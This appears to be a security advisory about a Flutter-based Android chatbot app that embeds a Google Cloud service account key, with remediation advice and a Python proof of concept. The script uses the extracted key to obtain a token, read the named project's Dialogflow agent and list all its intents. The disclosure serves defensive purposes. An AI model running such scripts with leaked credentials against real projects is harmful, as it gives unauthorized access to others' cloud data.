The Android application ai.citydata.citychat version 0.12.6 embeds a full Google Cloud service account key file in its assets at resources/assets/flutter_assets/assets/credentials.json. An attacker can extract this file via reverse engineering and use it to authenticate to Google Cloud Platform. With the stolen credentials, the attacker gains unauthorized read‑only access to Dialogflow APIs, allowing them to retrieve agent details and list all intents. This exposes the conversational logic of the chatbot, leading to information disclosure and potential misuse of the extracted knowledge.
jadx.resources/assets/flutter_assets/assets/credentials.json.
The PoC demonstrates retrieving the Dialogflow agent and listing intents.
The app embeds a full Google Cloud service account key file (containing a private key and client email) in its assets. This file acts as an identity credential, allowing anyone possessing it to authenticate as that service account and generate OAuth 2.0 access tokens. Using these tokens, an attacker can directly call Dialogflow APIs with a read permission assigned to that service account, which in this case includes read‑only access to retrieve agent details and all intents.
Remove the service account key file from the application assets immediately. Rotate the compromised service account key in Google Cloud Console to revoke the leaked credentials. Move all cloud interactions to a secure backend server that acts as a proxy, enforcing authentication and authorization. Store all secrets using environment variables or a dedicated secrets manager.
# 1. Verify whether the token is valid
from google.oauth2 import service_account
from google.auth.transport import requests
credentials = service_account.Credentials.from_service_account_file(
'credentials.json', # Replace with your file path
scopes=['<https://www.googleapis.com/auth/cloud-platform>']
)
auth_req = requests.Request()
credentials.refresh(auth_req)
print("Token is valid, first 50 characters:", credentials.token[:50])
# 2. Attempt to list all Dialogflow agents
from google.cloud import dialogflow
client = dialogflow.AgentsClient(credentials=credentials)
parent = "projects/citychatflutterdev"
agent = client.get_agent(parent=parent) # Get agent information
print(agent)
# 3. List all intents and detailed information for each intent
intents_client = dialogflow.IntentsClient(credentials=credentials)
parent = "projects/citychatflutterdev/agent"
intents = intents_client.list_intents(parent=parent)
for intent in intents:
print("Display Name:", intent.display_name, "Full ID:", intent.name)
try:
full_intent = intents_client.get_intent(name=intent.name)
print(full_intent) # If successful, print detailed information
except:
pass
An attacker can retrieve the Dialogflow agent configuration and all intents, exposing the chatbot's conversational logic and any sensitive information embedded in training phrases or responses. This information disclosure could be leveraged for social engineering attacks, competitive intelligence, or to identify weaknesses in the chatbot's design.